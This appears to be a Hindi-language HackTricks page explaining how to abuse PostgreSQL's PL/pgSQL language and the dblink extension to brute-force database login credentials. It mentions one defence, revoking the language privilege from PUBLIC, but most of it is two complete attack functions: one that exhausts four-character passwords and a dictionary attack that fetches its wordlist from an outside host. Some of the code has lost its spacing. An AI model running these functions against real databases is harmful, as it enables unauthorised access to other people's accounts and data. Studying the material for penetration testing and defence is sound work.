क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स की जांच करें!
PL/pgSQL एक पूरी विशेषताएँ वाली प्रोग्रामिंग भाषा है जो SQL की क्षमताओं को बढ़ाकर प्रक्रियात्मक नियंत्रण प्रदान करती है। इसमें लूप्स और विभिन्न नियंत्रण संरचनाएँ शामिल हैं। PL/pgSQL भाषा में बनाए गए फ़ंक्शन SQL वाक्यों और ट्रिगर्स द्वारा आह्वानित किए जा सकते हैं, जिससे डेटाबेस वातावरण में कार्रवाई की दायरा विस्तारित होता है।
आप इस भाषा का दुरुपयोग करके PostgreSQL से उपयोगकर्ताओं के क्रेडेंशियल्स को ब्रूटफ़ोर्स करने के लिए इस्तेमाल कर सकते हैं, लेकिन यह डेटाबेस पर मौजूद होना चाहिए। आप इसकी मौजूदगी की जांच करने के लिए इस्तेमाल कर सकते हैं:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
डिफ़ॉल्ट रूप से, फ़ंक्शन बनाना एक विशेषाधिकार है जो सार्वजनिक को प्रदान किया गया है, जहां सार्वजनिक उस डेटाबेस सिस्टम पर हर उपयोगकर्ता को संदर्भित करता है। इसे रोकने के लिए, प्रशासक को सार्वजनिक डोमेन से USAGE विशेषाधिकार को रद्द करना पड़ सकता है:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
उस मामले में, हमारा पिछला क्वेरी विभिन्न परिणाम निकालेगा:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
नोट करें कि निम्नलिखित स्क्रिप्ट काम करने के लिए फ़ंक्शन dblink मौजूद होना चाहिए। अगर यह मौजूद नहीं है तो आप इसे निम्नलिखित के साथ बनाने की कोशिश कर सकते हैं
CREATE EXTENSION dblink;
पासवर्ड ब्रूट फोर्स
यहाँ ऐसे कैसे कर सकते हैं कि आप 4 वर्णों का पासवर्ड ब्रूटफोर्स कर सकते हैं:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
ध्यान दें कि 4 वर्णों का ब्रूट फोर्सिंग कई मिनट ले सकता है।
आप भी एक शब्द सूची डाउनलोड कर सकते हैं और केवल उन पासवर्ड की कोशिश कर सकते हैं (शब्दकोश हमला):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण देखना चाहते हैं या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स की जाँच करें!